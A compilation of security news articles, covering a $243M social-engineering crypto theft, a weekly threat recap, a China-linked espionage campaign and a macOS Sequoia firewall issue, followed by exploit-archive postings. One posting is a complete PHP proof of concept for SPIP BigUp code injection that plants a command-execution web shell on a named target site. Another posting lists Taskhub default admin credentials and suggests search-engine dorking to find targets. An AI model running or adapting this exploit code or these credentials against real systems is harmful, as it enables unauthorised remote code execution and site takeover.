Hackers stole $243M from a single victim by posing as Google and Gemini support, resetting 2FA to access…

Hackers stole $243M from a single victim by posing as Google and Gemini support, resetting 2FA to access crypto. Investigator ZachXBT helped trace the thieves, leading to arrests and the recovery of millions.

A major breakthrough in cryptocurrency theft came to light on September 19, 2024, when anonymous Twitter user and crypto investigator ZachXBT (@ZachXBT) revealed his investigation into one of the largest crypto heists in history.

The theft of $243 million worth of cryptocurrency from a single Genesis creditor, was carried out through a sophisticated **social engineering attack** in August 2024. ZachXBT’s investigation played a key role in tracing the alleged culprits, which led to multiple arrests and the recovery of millions in stolen funds.

****The Heist****

On August 19, 2024, a group of cybercriminals identified as Greavys (Malone Iam), Wiz (Veer Chetal), and Box (Jeandiel Serrano) allegedly conducted a phishing operation targeting a victim in Washington, D.C.

The attackers, posing as support personnel from Google and Gemini, tricked the victim into resetting two-factor authentication (**2FA**) and transferring funds to a compromised wallet. The group further exploited the victim using remote access software **AnyDesk** to reveal private keys stored in the victim’s Bitcoin core.

ZachXBT provided transaction hashes that tracked the flow of Bitcoin, confirming that 59.34 BTC and 14.88 BTC were stolen during the attack, followed by the transfer of a massive 4,064 BTC, worth $243 million at the time, which was quickly split among the attackers.

> 3/ Here is a private video recording showing the live reaction by multiple of the threat actors to receiving $238M.
> 
> Theft txn hash  
> 4064 BTC – Aug 19 at 4:05 am UTC  
> 4b277ba298830ea538086114803b9487558bb093b5083e383e94db687fbe9090 pic.twitter.com/djSxBTkOF8
> 
> — ZachXBT (@zachxbt) September 19, 2024

**Criminals’ Identities Unveiled**

According to ZachXBT’s in-depth investigation, the details of which he shared in a _must read_ **detailed Twitter thread**, revealed the identities of the thieves. Allegedly, Wiz (Veer Chetal) made a critical error during a screenshare session, where his real name was exposed.

Furthermore, he and his friend Aakaash (Light/Dark) allegedly attempted to launder the stolen funds through exchanges such as eXch and Thorswap. Despite efforts to cover their tracks, they linked laundered funds to the stolen assets by reusing addresses.

Greavys, a key figure in the scam, flaunted his newfound wealth by purchasing luxury items, including over 10 cars and expensive nights out in Los Angeles and Miami. His flashy lifestyle, documented on social media, helped investigators track his location.

Box (Jeandiel Serrano), who impersonated a Gemini representative during the heist, also left traces linking him to the stolen funds. A shared profile picture across multiple platforms and a series of missteps in cryptocurrency transactions allowed investigators to trace $18 million back to him.

Screenshot credit: ZachXBT

**Arrests and Asset Recovery**

ZachXBT’s collaboration with **@CFInvestigators**, **@zeroshadow\_io**, and the Binance Security Team resulted in the freezing of over $9 million in assets, with $500,000 already returned to the victim. His findings also led to the arrest of Greavys and Box, who were taken into custody in Miami and Los Angeles, respectively, on September 18, 2024.

**Legal Proceedings**

The Department of Justice (DOJ) confirmed the arrests in a **press release**, announcing charges of conspiracy to steal and launder cryptocurrency against Malone Lam (aka “Anne Hathaway” and “$$$”) and Jeandiel Serrano (aka “VersaceGod” and “@SkidStar”).

The indictment outlines how the pair, alongside other conspirators, executed a series of crypto thefts, using complex laundering techniques to conceal the funds. Both individuals appeared in U.S. District Court following their arrests.

ZachXBT’s investigative work played a crucial role in cracking one of the largest cryptocurrency theft cases of the year. As law enforcement continues to crack the network behind the crime, ZachXBT has stated that updates will follow as the legal proceedings unfold.

1.  **6 of the Best Crypto Bug Bounty Programs**
2.  **Pink Drainer Posed as Journalists, Stole $3M from Twitter Users**
3.  **Hackers Stole $59 Million of Crypto Via Malicious Google, X Ads**
4.  **Crypto Scammer Returns $9.27 Million Out of $24M Crypto Theft**
5.  **Crypto losses reach $1.75 Billion in 2023; CeFi and Hacks Blamed**

Hackers Posed as Google Support to Steal $243 Million in Crypto

Hold on tight, folks, because last week's cybersecurity landscape was a rollercoaster! We witnessed everything from North Korean hackers dangling "dream jobs" to expose a new malware, to a surprising twist in the Apple vs. NSO Group saga. Even the seemingly mundane world of domain names and cloud configurations had its share of drama. Let's dive into the details and see what lessons we can glean

Cybersecurity / Cyber Threat

Hold on tight, folks, because last week's cybersecurity landscape was a rollercoaster! We witnessed everything from North Korean hackers dangling "dream jobs" to expose a new malware, to a surprising twist in the Apple vs. NSO Group saga. Even the seemingly mundane world of domain names and cloud configurations had its share of drama. Let's dive into the details and see what lessons we can glean from the past week.

****⚡ Threat of the Week****

**Raptor Train Botnet Dismantled:** The U.S. government announced the takedown of the Raptor Train botnet controlled by a China-linked threat actor known as Flax Typhoon. The botnet consisted of over 260,000 devices in June 2024, with victims scattered across North America, Europe, Asia, Africa, and Oceania, and South America. It also attributed the Flax Typhoon threat actor to a publicly-traded, Beijing-based company known as Integrity Technology Group.

****🔔 Top News****

*   **Lazarus Group's New Malware:** The North Korea-linked cyber espionage group known as UNC2970 (aka TEMP.Hermit) has been observed utilizing job-themed phishing lures to target prospective victims in energy and aerospace verticals and infect them with a previously undocumented backdoor dubbed MISTPEN. The activity is also tracked as Operation Dream Job.
*   **iServer and Ghost Dismantled:** In yet another big win for law enforcement agencies, Europol announced the takedown of an international criminal network that leveraged a phishing platform to unlock stolen or lost mobile phones. The agency, in partnership with the Australian Federal Police (AFP), dismantled an encrypted communications network called Ghost that enabled serious and organized crime across the world.
*   **Iranian APT Acts as Initial Access Provider:** An Iranian threat actor tracked as UNC1860 is acting as an initial access facilitator that provides remote access to target networks by deploying various passive backdoors. This access is then leveraged by other Iranian hacking groups affiliated with the Ministry of Intelligence and Security (MOIS).
*   **Apple Drops Lawsuit against NSO Group:** Apple filed a motion to "voluntarily" dismiss the lawsuit it's pursuing against Israeli commercial spyware vendor NSO Group, citing a shifting risk landscape that could lead to exposure of critical "threat intelligence" information. The lawsuit was filed in November 2021.
*   **Phishing Attacks Exploit HTTP Headers:** A new wave of phishing attacks is abusing refresh entries in HTTP headers to deliver spoofed email login pages that are designed to harvest users' credentials. Targets of the campaigns include entities in South Korea and the U.S.

****📰 Around the Cyber World****

*   **Sandvine Leaves 56 "Non-democratic" Countries:** Sandvine, the company behind middleboxes that have facilitated the delivery of commercial spyware as part of highly-targeted attacks, said it has exited 32 countries and is in process of ceasing operations in another 24 countries, citing elevated threats to digital rights. Earlier this February, the company was added to the U.S. Entity List. "The misuse of deep packet inspection technology is an international problem that threatens free and fair elections, basic human rights, and other digital freedoms we believe are inalienable," it said. It did not disclose the list of countries it's exiting as part of the overhaul.
*   **.mobi Domain Acquired for $20:** Researchers from watchTowr Labs spent a mere $20 to acquire a legacy WHOIS server domain associated with the .mobi top-level domain (TLD) and set up a WHOIS server on that domain. This led to the discovery that over 135,000 unique systems still queried the old WHOIS server over a five day period ending on September 4, 2024, including cybersecurity tools and mail servers for government, military and university entities. The research also showed that the TLS/SSL process for the entire .mobi TLD had been undermined as numerous Certificate Authorities (CAs) were found to be still using the "rogue" WHOIS server to "determine the owners of a domain and where verification details should be sent." Google has since called for stopping the use of WHOIS data for TLS domain verifications.
*   **ServiceNow Misconfigurations Leak Sensitive Data:** Thousands of companies are inadvertently exposing secrets from their internal knowledge base (KB) articles via ServiceNow misconfigurations. AppOmni attributed the issue to "outdated configurations and misconfigured access controls in KBs," likely indicating "a systematic misunderstanding of KB access controls or possibly the accidental replication of at least one instance's poor controls to another through cloning." ServiceNow has published guidance on how to configure their instances to prevent unauthenticated access to KB articles.
*   **Google Cloud Document AI Flaw Fixed:** Speaking of misconfigurations, researchers have found that overly permissive settings in Google Cloud's Document AI service could be leveraged by threat actors to hack into Cloud Storage buckets and steal sensitive information. Vectra AI described the vulnerability as an instance of transitive access abuse.
*   **Microsoft Plans End of Kernel Access for EDR Software:** Following the massive fallout from the CrowdStrike update mishap in July 2024, Microsoft has highlighted Windows 11's "improved security posture and security defaults" that allow for more security capabilities to security software makers outside of kernel mode access. It also said it will collaborate with ecosystem partners to achieve "enhanced reliability without sacrificing security."

**🔥 **Cybersecurity Resources & Insights******— **Upcoming Webinars****

*   **Zero Trust: Anti-Ransomware Armor**: Join our next webinar with Zscaler's Emily Laufer for a deep dive into the 2024 Ransomware Report, uncovering the latest trends, emerging threats, and the zero-trust strategies that can safeguard your organization. Don't become another statistic – Register now and fight back!
*   **SIEM Reboot: From Overload to Oversight:** Drowning in data? Your SIEM should be a lifesaver, not another headache. Join us to uncover how legacy SIEM went wrong, and how a modern approach can simplify security without sacrificing performance. We'll dive into the origins of SIEM, its current challenges, and our community-driven solutions to cut through the noise and empower your security. Register now for a fresh take on SIEM!

**— **Ask the Expert****

*   **Q:** How does Zero Trust differ fundamentally from traditional Perimeter Defense, and what are the key challenges and advantages when transitioning an organization from a Perimeter Defense model to a Zero Trust architecture?

*   **A:** Zero Trust and perimeter defense are two ways to protect computer systems. Zero Trust is like having multiple locks on your doors AND checking IDs at every room, meaning it trusts no one and constantly verifies everyone and everything trying to access anything. It's great for stopping hackers, even if they manage to sneak in, and works well when people work from different places or use cloud services. Perimeter defense is like having a strong wall around your castle, focusing on keeping the bad guys out. But, if someone breaks through, they have easy access to everything inside. This older approach struggles with today's threats and remote work situations. Switching to Zero Trust is like upgrading your security system, but it takes time and money. It's worth it because it provides much better protection. Remember, it's not just one thing, but a whole new way of thinking about security, and you can start small and build up over time. Also, don't ditch the wall completely, it's still useful for basic protection.

**— **Cybersecurity Jargon Buster****

*   **Polymorphic Malware:** Imagine a sneaky virus that keeps changing its disguise (signature) to trick your antivirus. It's like a chameleon, making it tough to catch.
*   **Metamorphic Malware:** This one's even trickier! It's like a shapeshifter, not just changing clothes, but completely transforming its body. It rewrites its own code each time it infects, making it nearly impossible for antivirus to recognize.

**— **Tip of the Week****

**"Think Before You Click" Maze:** Navigate a series of decision points based on real-world scenarios, choosing the safest option to avoid phishing traps and other online threats.

****Conclusion****

"To err is human; to forgive, divine." - Alexander Pope. But in the realm of cybersecurity, forgiveness can be costly. Let's learn from these mistakes, strengthen our defenses, and keep the digital world a safer place for all.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

THN Cybersecurity Recap: Last Week's Top Threats and Trends (September 16-22)

The APT group uses spear-phishing and a vulnerability in a geospatial data-sharing server to compromise organizations in Taiwan, Japan, the Philippines, and South Korea.

Source: kb-photodesign via Shutterstock

A China-linked cyber-espionage group has attacked Taiwanese government agencies, the Philippine and Japanese military, and energy companies in Vietnam, installing either the Cobalt Strike client or a custom backdoor known as EagleDoor on compromised machines.

Dubbed Earth Baxia by cybersecurity firm Trend Micro, the group primarily uses spear-phishing to compromise victims, but it has also exploited a vulnerability (CVE-2024-36401) in the open source GeoServer software used to distribute geospatial data. The group uses public cloud services for hosting malicious files, and appears not to be connected to other known advance persistent threat (APT) groups, although at least one analysis has found overlap between APT41 — also known as Wicked Panda and Brass Typhoon.

The majority of the group's infrastructure is based in China, and its attacks target nations of Chinese national interest, says Ted Lee, a threat researcher with Trend Micro.

"In recent campaigns, their primary targets are government agencies and other critical infrastructures — \[such as\] telecommunication — in the APAC region," he says. "In addition, we also found the decoy documents they used to lure victims are related to some significant conferences or international meetings."

The attack comes as China appears to be ramping up its attacks on governments and companies in the Asia-Pacific region. Operation Crimson Palace, a collection of three Chinese APT groups working in concert, has successfully compromised more than a dozen targets in Southeast Asia, including government agencies. In another recent case, a Chinese espionage group used a malicious fake document in an attempt to compromise systems at the US-Taiwan Business Council, prior to its 23rd US-Taiwan Defense Industry Conference.

**Spear-Phishing, With a Side of GeoServer**

The latest attacks primarily employ spear-phishing, either sending a file or a link, using regional conferences as a lure.

"Based on the collected phishing emails, decoy documents, and observations from incidents, it appears that the targets are primarily government agencies, telecommunication businesses, and the energy industry in the Philippines, South Korea, Vietnam, Taiwan, and Thailand," Trend Micro stated in its analysis. "Notably, we also discovered a decoy document written in simplified Chinese, suggesting that China is also one of the impacted countries. However, due to limited information, we cannot accurately determine which sectors in China are affected."

In a limited number of cases, Trend Micro has noticed that the threat group uses a known flaw in the open source geospatial sharing service GeoServer to gain a beachhead within an organization. The GeoServer attacks appear to have started at least two months ago, with the Shadowserver Foundation noting that the attack first appeared in its logs on July 9. The Cybersecurity and Infrastructure Security Agency (CISA) added the vulnerability to its Known Exploited Vulnerability (KEV) catalog on July 15.

Whether it uses a vulnerability or spear-phishing, the next step is to use one of two techniques, dubbed GrimResource and AppDomainManager injection, to further compromise targeted systems.

Discovered in June, GrimResource uses a cross-site scripting (XSS) flaw to execute JavaScript on the victim's machine and, together with a second exploit, gain arbitrary code execution. AppDomainManager injection is an older — but still not widely known — technique that can be used to load run malicious code and is starting to be abused by state-backed groups, NTT Security stated in an analysis (via Google Translate).  
"Since this method is not widely known at this time, it is clear that it is a unilateral advantage for the attackers," the translated analysis stated. "As a result, there is concern about the possibility that such attacks will expand in the future."

**All Roads Lead to Cobalt Strike?**

Compromise in any case leads either to a custom backdoor known as EagleDoor, or the installation of an implant by a pirated version of the red-team tool Cobalt Strike, whose use is common among cybercriminal and cyber-espionage groups because of its powerful lateral movement and command-and-control (C2) capabilities.

In addition, the commonness of the tool means investigators gain no attribution information from its use, Trend Micro's Lee says.

"While its use can be a red flag, attackers often modify its components to evade detection," he says. "On the other hand, it’s difficult for analysts to finish group attribution based on Cobalt Strike because it is a shared tool used by many different groups."

The Cobalt Strike component drops two executables, Hook and Eagle, which make up the EagleDoor backdoor, which allows communication over DNS, HTTP, TCP, and Telegram. The commands are used to exfiltrate data from the victim's system and installing additional payloads, Trend Micro stated in its analysis.

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

China's 'Earth Baxia' Spies Exploit Geoserver to Target APAC Orgs

Apple’s macOS Sequoia update is causing major compatibility issues with popular security tools. Reportedly, users are facing disruptions…

Apple’s macOS Sequoia update is causing major compatibility issues with popular security tools. Reportedly, users are facing disruptions and frustration as vendors scramble to find solutions. Learn about the affected software, potential workarounds, and the latest updates on this ongoing issue.

Apple’s latest macOS update, macOS Sequoia (version 15), is reportedly causing issues with security tools from major providers like CrowdStrike, SentinelOne, ESET, and Microsoft. The update appears incompatible with several popular security tools, rendering them inoperable. The issue, which affects macOS users and enterprises, has caused frustration among those working with macOS-focused security tools. 

For your information, Apple officially launched its AI-focused macOS Sequoia on Monday. It is a new operating system, first revealed at WWDC 2024, offering exclusive features like Apple Intelligence, which uses Apple silicon to create language, images, and actions across apps, leveraging users’ personal context. 

However, the update has raised concerns for certain security-related products and applications as several security researchers and users on social media, Reddit, and a Mac-focused Slack channel reported issues with these security tools after installing Sequoia.

On Mastodon, security researcher Will Dormann reported firewall-related and DNS issues in macOS Sequoia, noting that blocking incoming connections within the macOS Sequoia firewall can also block replies to DNS requests, causing problems.

Dormann also noted a related issue affecting Chrome and Chromium-based browsers on macOS Sequoia, where blocking incoming connections for Google Chrome in the macOS firewall causes large downloads to stall.

Meanwhile, Apple has not yet addressed the concerns regarding Sequoia’s compatibility with security software such as ESET Endpoint Security and CrodStrike Falcon, and the full scope of the compatibility issues with Sequoia remains unclear.  

Most companies have advised users not to update the OS until the issue is resolved, as they are unable to support macOS Sequoia. CrowdStrike confirmed the issue and announced a delay in supporting Sequoia.

The company is waiting for Apple to release a fix before updating their software.  Similarly, ESET acknowledged network connection problems after the update but later clarified that their products are compatible with Sequoia. 

While SentinelOne initially advised users against upgrading to Sequoia, they later clarified that full support was available. However, some users still reported problems with other functionalities like firewalls and DNS configurations. 

A potential workaround shared by security researcher Wacław Jacek on his blog involves using command-line tools to adjust firewall settings for specific applications. According to Jacek, to modify firewall settings, use the CLI tool /usr/libexec/ApplicationFirewall/socketfilterfw.

This will allow your browser to access the internet again, but other software may still not function. To disable the entire firewall, open the terminal app, find the path to your web browser, run ls -l, and add your browser to the firewall using /usr/libexec/ApplicationFirewall/socketfilterfw.

Until the situation is resolved, please proceed with caution when considering the Sequoia update, especially if you rely heavily on third-party security software.

Mr. Mayuresh Dani, Manager, Security Research, at Qualys Threat Research Unit, shared his concern over the situation with Hackread.com stating, “With the release of new operating systems, all security vendors must test and qualify their releases. It is a good thing that security vendors have been proactive in this situation and have already sent out steps to take in case their systems are facing issues with the latest Mac update.”

Mayuresh highlighted that “From the looks of it, the networking stack – or the macOS Sequoia firewall to be specific – has changed because the security tools that use it to provide security are not able to do so. Not just security tools, VPNs are also having a difficult time getting a DNS resolution.”

He also suggested the following to the security teams responsible for securing Macs:

1.  Avoid updating to macOS Sequoia unless their security vendor has officially certified it for use.
2.  Turn off auto-updates to major OS releases before internal certification.
3.  Internally certify new operating system releases by installing Dev, and Beta builds of operating systems with certified software before organization-wide deployments.

Nevertheless, the importance of comprehensive testing before deploying major updates in production environments should not be ignored. It also highlights the need for organizations to have proper backup plans and alternative security measures in place. Developing a multi-layered security approach that doesn’t rely solely on a single tool or vendor can enhance overall stability.

1.  **CrowdStrike Update Causes Havoc By Disrupting Businesses**
2.  **Webroot Marked Facebook as Phishing Site, Windows as Malware**
3.  **Apple mistakenly approved malware hidden as Adobe Flash Player**
4.  **Microsoft Releases Tool to Fix CrowdStrike-Caused Windows Chaos**
5.  **Microsoft Defender Flags Tor Browser as Win32/Malgent!MTB Malware**

Apple’s macOS Sequoia Update Breaks Security Tools

Plus: The FBI dismantles the largest-ever China-backed botnet, the DOJ charges two men with a $243 million crypto theft, Apple’s MacOS Sequoia breaks cybersecurity tools, and more.

The week was dominated by news that thousands of pagers, walkie-talkies and other devices were exploding across Lebanon on Tuesday and Wednesday in an attack targeting the militant group Hezbollah. At least 32 people were killed, including at least four children, and more than 3,200 people were injured. The covert campaign has widely been attributed to Israel, though none of the country's government agencies have commented.

In addition to the carnage, the attacks have—seemingly by design—had the effect of sowing paranoia and fear, not just among members of Hezbollah but also in the general Lebanese public. Hardware and warfare experts say that the incident is unlikely to establish a global precedent that people's most trusted communication devices and electronics, like smartphones, are rigged with explosives left and right. But it does create the potential to inspire copycats and puts defenders on notice that such attacks are possible.

Researchers say that China’s 2023 Zhujian Cup, a hacking competition with ties to the country's military, took the unusual step of requiring participants to keep the content of the exercise secret—and they may have been targeting a real victim as part of the event. Apple’s new stand-alone app Passwords that launched with iOS 18 may help solve your login problems. And a now-deleted post from billionaire Elon Musk that questioned why no one has attempted to assassinate Joe Biden and Kamala Harris renewed concerns this week that Musk is willing to inspire extremist violence and is a national security threat in the United States.

And there's more. Each week, we round up the privacy and security news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

Last month, media outlets, Microsoft, and Google warned that an Iranian state-sponsored hacking group known as APT42 had targeted both the Joe Biden and Donald Trump political campaigns, and that it had successfully stolen emails from the Trump campaign that were later shared with reporters. Now the FBI has chimed in with the added revelation that the same hackers also sent those stolen Trump communications to the Democrats, too—though for now there's no sign that the Democrats solicited those emails from the Iranians or necessarily even received the Iranians' message.

Republicans were nonetheless quick to compare the news to accusations that the Trump campaign “colluded” with the Russian hackers, part of the Kremlin's GRU military intelligence agency, who breached the Democratic National Committee and the Clinton Campaign in 2016 to carry out a hack-and-leak operation. In a statement, the Trump campaign demanded that the Democrats “must come clean on whether they used the hacked material.” The Harris campaign told CNN that it has cooperated with law enforcement and that it was “not aware of any material being sent directly to the campaign,” believing the emails to be spam or phishing attempts. “We condemn in the strongest terms any effort by foreign actors to interfere in US elections, including this unwelcome and unacceptable malicious activity,” Morgan Finkelstein, the national security spokesperson for the Harris campaign, told CNN.

**FBI Dismantles the Largest-Ever Chinese State-Sponsored Botnet**

The FBI announced this week that it had taken down a network of hacked machines being secretly controlled by a Chinese state-sponsored hacking group known as Flax Typhoon. The botnet, made up of 260,000 routers and internet-of-things devices, was allegedly being run by a Chinese contractor known as the Beijing Integrity Technology Group, a rare instance of a known, publicly traded company operating essentially a massive collection of hacked devices on behalf of the Chinese state. The botnet, according to the FBI and security firm Black Lotus Labs, had been used to hack government agencies, defense contractors, telecoms, and other US and Taiwanese targets. At the time of its takedown, the botnet still encompassed 60,000 machines, making it the largest Chinese state-sponsored botnet ever, according to Black Lotus Labs.

**Two Men Charged With Stealing $243M in Cryptocurrency Using Social Engineering Scam**

On Wednesday night, two young men were arrested after they allegedly stole hundreds of millions of dollars of cryptocurrency and spent the earnings on luxury cars, watches, jewelry, and designer handbags. In an unsealed indictment, the US Department of Justice charged Malone Lam, 20, known online as “Anne Hathaway” and Jeandiel Serrano, 21, aka “VersaceGod,” with stealing $243 million in cryptocurrency and laundering the proceeds through mixing services to conceal the origin.

CoinDesk reported that the men allegedly tricked the heist’s victim, a creditor of the now-defunct trading firm Genesis, using a social engineering scam that led them to reset their Gemini two-factor authentication and transfer 4,100 bitcoin to a compromised wallet. An analysis of the transaction by blockchain investigator ZachXBT revealed that the $243 million was divided among multiple wallets and then distributed to over 15 exchanges.

**Apple MacOS Update Breaks Some Cybersecurity Tools**

On Thursday, TechCrunch reported that Apple's latest desktop operating system update, macOS 15 (Sequoia), breaks some functionality of major security tools made by CrowdStrike, SentinelOne, and Microsoft. It’s unclear what specifically in the update is causing the issues, but social media posts and internal Slack messages reviewed by the tech outlet show that the update has frustrated engineers working on macOS-focused security tools.

A CrowdStrike sales engineer informed colleagues via Slack, as seen by TechCrunch, that the company would not be able to support Sequoia on day one, despite its usual practice of quickly supporting new OS releases. While they hope for a quick patch, they will likely need to scramble to resolve the issue with an update in their own code, assuming no immediate fix is available from Apple, which has not yet commented on the issue.

**Leader of Crypto Extortion Gang Sentenced to 47 Years**

Cryptocurrency theft has become practically a common-garden form of cybercrime. But one brutal gang took that form of thievery to a new level of cruelty and violence, breaking into a series of victims' homes to threaten and extort them into handing over their crypto holdings, sometimes even resorting to kidnapping and torture. This week, that disturbing story came to a close with the sentencing of the group's ring leader, a Florida man named Remy St. Felix, to 47 years in prison. St. Felix is one of 12 members of the gang to have now been charged, convicted, and sentenced. Prior to the home invasions that St. Felix led, another member of the group named Jarod Seemungal allegedly stole millions with more traditional crypto hacking techniques. But St. Felix's more violent, offline extortion attempts netted his gang only around $150,000 in cryptocurrency before they were caught and sentenced to years behind bars. The lesson: Crime doesn't pay—or at least, not the physical kind.

Iranian Hackers Tried to Give Hacked Trump Campaign Emails to Dems

SPIP BigUp version 4.2.15 suffers from a remote PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : SPIP BigUp 4.2.15 php code injection Vulnerability                                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.spip.net/                                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This exploits a php code injection vulnerability in the BigUp plugin of SPIP.    The vulnerability lies in the lister_fichiers_par_champs function, which is triggered when the bigup_retrouver_fichiers parameter is set to any value.   By exploiting the improper handling of multipart form data in file uploads, an attacker can inject and execute arbitrary PHP code on the target server.   It allows unauthenticated users to execute arbitrary code remotely via the public interface. [+] Line 143 : Set your target & payload .[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php[+] Payload :<?phpclass indoushka {    private $targetUri;    private $formPage;    private $payload;    public function __construct($targetUri, $formPage = 'auto', $payload) {        $this->targetUri = $targetUri;        $this->formPage = $formPage;        $this->payload = $payload;    }    public function check() {        $spipVersion = $this->getSpipVersion();        if (!$spipVersion) {            return "Unable to determine the version of SPIP.";        }        echo "SPIP Version detected: " . $spipVersion . "\n";        $vulnerableRanges = [            ['start' => '4.0.0', 'end' => '4.1.17'],            ['start' => '4.2.0', 'end' => '4.2.15'],            ['start' => '4.3.0', 'end' => '4.3.1']        ];        $isVulnerable = false;        foreach ($vulnerableRanges as $range) {            if (version_compare($spipVersion, $range['start'], '>=') && version_compare($spipVersion, $range['end'], '<=')) {                $isVulnerable = true;                break;            }        }        if (!$isVulnerable) {            return "The detected SPIP version ($spipVersion) is not vulnerable.";        }        echo "SPIP version $spipVersion is vulnerable.\n";        return "SPIP version $spipVersion is vulnerable.";    }    private function getSpipVersion() {        // This function should make an HTTP request to detect the SPIP version        // Return the version or false if undetectable        return '4.3.1'; // Example version, replace with actual logic    }    private function getFormData() {        $pages = ['login', 'spip_pass', 'contact'];        if ($this->formPage !== 'auto') {            $pages = [$this->formPage];        }        foreach ($pages as $page) {            $url = $this->normalizeUri($page);            $response = $this->sendRequest('GET', $url);            if ($response['status'] === 200) {                libxml_use_internal_errors(true); // Prevent warnings from invalid HTML                $doc = new DOMDocument();                @$doc->loadHTML($response['body']);                libxml_clear_errors();                $inputs = $doc->getElementsByTagName('input');                if ($inputs->length > 1) {                    $action = $inputs->item(0)->getAttribute('value');                    $args = $inputs->item(1)->getAttribute('value');                                        if ($action && $args) {                        echo "Found formulaire_action: $action\n";                        echo "Found formulaire_action_args: " . substr($args, 0, 20) . "...\n";                        return ['action' => $action, 'args' => $args];                    }                }            }        }        return null;    }    private function normalizeUri($page) {        return rtrim($this->targetUri, '/') . '/' . ltrim($page, '/');    }    private function sendRequest($method, $url, $data = null) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        if ($method === 'POST' && $data) {            curl_setopt($ch, CURLOPT_POST, true);            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);            curl_setopt($ch, CURLOPT_HTTPHEADER, [                'Content-Type: multipart/form-data; boundary=' . substr($data, 2, 32)            ]);        }        $response = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        curl_close($ch);        return ['status' => $httpCode, 'body' => $response];    }    private function encodePayload() {        return base64_encode($this->payload);    }    public function exploit() {        $formData = $this->getFormData();        if (!$formData) {            echo "Could not retrieve formulaire_action or formulaire_action_args value from any page.\n";            return;        }        echo "Preparing to send exploit payload to the target...\n";        $encodedPayload = $this->encodePayload();        $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));        $postData = "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="formulaire_action"' . "\r\n\r\n" . $formData['action'] . "\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="bigup_retrouver_fichiers"' . "\r\n\r\n" . $this->randomString() . "\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="' . $this->randomString() . '[".base64_decode(\'' . $encodedPayload . '\').die()."]"; filename="' . $this->randomString() . '"' . "\r\n\r\n\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="formulaire_action_args"' . "\r\n\r\n" . $formData['args'] . "\r\n";        $postData .= "--$boundary--\r\n";        $this->sendRequest('POST', $this->normalizeUri('spip.php'), $postData);    }    private function randomString($length = 8) {        return bin2hex(random_bytes($length / 2));    }}// Usage example:$exploit = new indoushka('https://yonnelautre.fr/', 'auto', '<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>');$exploit->check();$exploit->exploit();?>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

SPIP BigUp 4.2.15 Code Injection

Taskhub version 3.0.3 suffers from an ignored default credential vulnerability.

**Taskhub 3.0.3 Insecure Settings**

Posted Sep 20, 2024

Authored by indoushka

Taskhub version 3.0.3 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 7505071b9896db1b7f4f5cd911d9d07b06247bd94dbf46777a4481d4b83f1ddd

Download | Favorite | View

**Taskhub 3.0.3 Insecure Settings**

    =============================================================================================================================================| # Title     : Taskhub v3.0.3 Insecure Settings Vulnerability                                                                              || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874                                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@gmail.com & pass = 12345678[+] https://www/127.0.0.1/tasks.octalfoxcom/auth/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,862)
*   Arbitrary (17,077)
*   BBS (2,859)
*   Bypass (1,923)
*   CGI (1,047)
*   Code Execution (7,902)
*   Conference (692)
*   Cracker (845)
*   CSRF (3,427)
*   DoS (25,263)
*   Encryption (2,395)
*   Exploit (54,266)
*   File Inclusion (4,274)
*   File Upload (1,017)
*   Firewall (822)
*   Info Disclosure (2,916)
*   Intrusion Detection (918)
*   Java (3,156)
*   JavaScript (908)
*   Kernel (7,281)
*   Local (14,850)
*   Magazine (587)
*   Overflow (13,223)
*   Perl (1,435)
*   PHP (5,271)
*   Proof of Concept (2,411)
*   Protocol (3,749)
*   Python (1,660)
*   Remote (31,888)
*   Root (3,671)
*   Rootkit (529)
*   Ruby (642)
*   Scanner (1,658)
*   Security Tool (8,048)
*   Shell (3,305)
*   Shellcode (1,219)
*   Sniffer (904)
*   Spoof (2,297)
*   SQL Injection (16,725)
*   TCP (2,463)
*   Trojan (690)
*   UDP (919)
*   Virus (675)
*   Vulnerability (33,092)
*   Web (10,138)
*   Whitepaper (3,784)
*   x86 (970)
*   XSS (18,301)
*   Other

**File Archives**

*   September 2024
*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   Older

**Systems**

*   AIX (430)
*   Apple (2,114)
*   BSD (378)
*   CentOS (61)
*   Cisco (1,954)
*   Debian (7,124)
*   Fedora (1,693)
*   FreeBSD (1,247)
*   Gentoo (4,567)
*   HPUX (881)
*   iOS (389)
*   iPhone (108)
*   IRIX (220)
*   Juniper (71)
*   Linux (51,237)
*   Mac OS X (696)
*   Mandriva (3,105)
*   NetBSD (256)
